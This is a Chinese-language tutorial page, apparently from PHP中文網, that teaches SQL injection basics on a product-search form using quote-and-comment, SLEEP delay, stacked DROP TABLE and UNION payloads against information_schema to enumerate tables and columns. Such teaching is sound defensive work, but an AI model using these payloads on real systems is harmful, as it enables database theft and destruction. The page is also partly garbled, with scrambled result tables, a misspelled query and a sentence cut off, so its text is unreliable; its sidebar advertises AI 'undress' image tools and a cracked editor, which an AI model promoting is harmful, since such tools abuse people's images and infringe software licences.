搜尋
首頁資料庫SQL快速了解sql注入基本原理

快速了解sql注入基本原理

Nov 29, 2019 pm 02:41 PM
sql注入原理

快速了解sql注入基本原理

SQL注入基本原理

WEB技術發展日新月異,但是徒手拼SQL的傳統手藝還是受相當多的開發者親青睞。畢竟比起再去學習一套複雜的ORM規則,手拼更說方便,直覺。通常自己拼SQL的人,應該是有聽過SQL注入很危險,但總是心想:我的SQL語句這麼簡單,不可能被注入的。

花5分鐘看完這個完整的例子,從今往後應該再也不敢有以上僥倖心理了。

簡單場景

有一個WEB介面提供輸入商品名稱,展示對應價格,生產日期及生產地點資訊。例如輸入Hammer展示:

##Claw Hammer
產品 價格 生產地

12.98#American

#2019.11.07

#Club Hammer29.98

Canada2019.11.11

我們跳過了建立Web搜尋介面的過程,直接關注重點部分: SQL注入
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
select ? from ? where ? Like '%'%';
--來把最後一個單引號註解掉。
select ? from ? where ? Like '%'; -- %';
--產品價格生產地點生產日期Claw Hammer12.98American2019.11.07Club Hammer#29.98Canada2019.11.11Paring Knife
如果要實現以上功能,那麼我們大致可以猜到伺服器使用的SQL語句如下:其中?表示目前我們並不知道具體的表名和字段名,此SQL唯一可以被操縱的就是單引號裡面的輸入內容'%Hammer%。假如我們直接在查找框裡輸入一個單引號。即變成這樣拼接後造成SQL語法錯誤,得不到任何結果,我們需要使用
後的是註釋內容(你也可以用 #),這樣你可以得到所有的產品信息,目前為止,還是沒有嗅到危險的信號。

10.98China

2019.11.11

Boning Knife

19.98

China2019.01.01

小試牛刀and
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
為所欲為union
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
產品價格生產地點生產日期Claw Hammer12.98American#2019.11.07Club Hammer
緊緊抓住上一個步驟中可以擴充的單引號部分。來一個簡單的延時語句試一試:這時查詢會2秒後才回傳結果,如果把時間延長,用腳本多點幾次查詢,一下就能把資料庫的連接池用完。 當然,還有破壞力更強的! 可以直接把表/資料庫直接刪除掉,至於如何知道引資料庫中有哪一些表(即如何確定上句SQL中的xxxx)呢?
我們需要知道此資料庫有哪一些表格!這樣才能能拿到有用的資訊。 使用union可以把不同表格的內容拼在一起,小試試看:
####29.98######Canada######2019.11.11######### ####1######2######3######4#############

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11
authors hawkeye 3 4
products hawkeye 3 4
user hawkeye 3 4
.... .... 3 4

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11
id hawkeye 3 4
name hawkeye 3 4
price hawkeye 3 4
address hawkeye 3 4
updated_at hawkeye 3 4

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

以上是快速了解sql注入基本原理的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:博客园。如有侵權,請聯絡admin@php.cn刪除
SQL:對數據管理的初學者友好方法?SQL:對數據管理的初學者友好方法?Apr 19, 2025 am 12:12 AM

SQL適合初學者,因為它語法簡單,功能強大,廣泛應用於數據庫系統。 1.SQL用於管理關係數據庫,通過表格組織數據。 2.基本操作包括創建、插入、查詢、更新和刪除數據。 3.高級用法如JOIN、子查詢和窗口函數增強數據分析能力。 4.常見錯誤包括語法、邏輯和性能問題,可通過檢查和優化解決。 5.性能優化建議包括使用索引、避免SELECT*、使用EXPLAIN分析查詢、規範化數據庫和提高代碼可讀性。

SQL在行動中:現實世界中的示例和用例SQL在行動中:現實世界中的示例和用例Apr 18, 2025 am 12:13 AM

SQL在實際應用中主要用於數據查詢與分析、數據整合與報告、數據清洗與預處理、高級用法與優化以及處理複雜查詢和避免常見錯誤。 1)數據查詢與分析可用於找出銷售量最高的產品;2)數據整合與報告通過JOIN操作生成客戶購買報告;3)數據清洗與預處理可刪除異常年齡記錄;4)高級用法與優化包括使用窗口函數和創建索引;5)處理複雜查詢可使用CTE和JOIN,避免常見錯誤如SQL注入。

SQL和MySQL:了解核心差異SQL和MySQL:了解核心差異Apr 17, 2025 am 12:03 AM

SQL是一種用於管理關係數據庫的標準語言,而MySQL是一個具體的數據庫管理系統。 SQL提供統一語法,適用於多種數據庫;MySQL輕量、開源,性能穩定但在大數據處理上有瓶頸。

SQL:初學者的學習曲線SQL:初學者的學習曲線Apr 16, 2025 am 12:11 AM

SQL學習曲線陡峭,但通過實踐和理解核心概念可掌握。 1.基礎操作包括SELECT、INSERT、UPDATE、DELETE。 2.查詢執行分為解析、優化、執行三步。 3.基本用法如查詢僱員信息,高級用法如使用JOIN連接表。 4.常見錯誤包括未使用別名和SQL注入,需使用參數化查詢防範。 5.性能優化通過選擇必要列和保持代碼可讀性實現。

SQL:命令,mysql:引擎SQL:命令,mysql:引擎Apr 15, 2025 am 12:04 AM

SQL命令在MySQL中分為DQL、DDL、DML、DCL和TCL五類,用於定義、操作和控制數據庫數據。 MySQL通過詞法分析、語法分析、優化和執行等階段處理SQL命令,並利用索引和查詢優化器提升性能。使用示例包括SELECT用於數據查詢,JOIN用於多表操作。常見錯誤有語法、邏輯和性能問題,優化策略包括使用索引、優化查詢和選擇合適的存儲引擎。

用於數據分析的SQL:商業智能的高級技術用於數據分析的SQL:商業智能的高級技術Apr 14, 2025 am 12:02 AM

SQL的高級查詢技巧包括子查詢、窗口函數、CTE和復雜JOIN,能夠處理複雜數據分析需求。 1)子查詢用於找出每個部門工資最高的員工。 2)窗口函數和CTE用於分析員工的薪資增長趨勢。 3)性能優化策略包括索引優化、查詢重寫和使用分區表。

MySQL:SQL的特定實現MySQL:SQL的特定實現Apr 13, 2025 am 12:02 AM

MySQL是開源的關係型數據庫管理系統,提供了標準SQL功能和擴展。 1)MySQL支持標準SQL操作如CREATE、INSERT、UPDATE、DELETE,並擴展了LIMIT子句。 2)它使用InnoDB和MyISAM等存儲引擎,適用於不同場景。 3)用戶可以通過創建表、插入數據和使用存儲過程等高級功能高效使用MySQL。

SQL:使所有人都可以訪問數據管理SQL:使所有人都可以訪問數據管理Apr 12, 2025 am 12:14 AM

sqlmakesdatamanagectAccessibletoAllbyProvidingAsimpleyetpoperfultoolSetSetForQuerquereingAndManagingDatabases.1)ItworkswithrelationalDatabases,允許inserstospecefifywhattheywanttododowithththedata.2)

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱工具

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境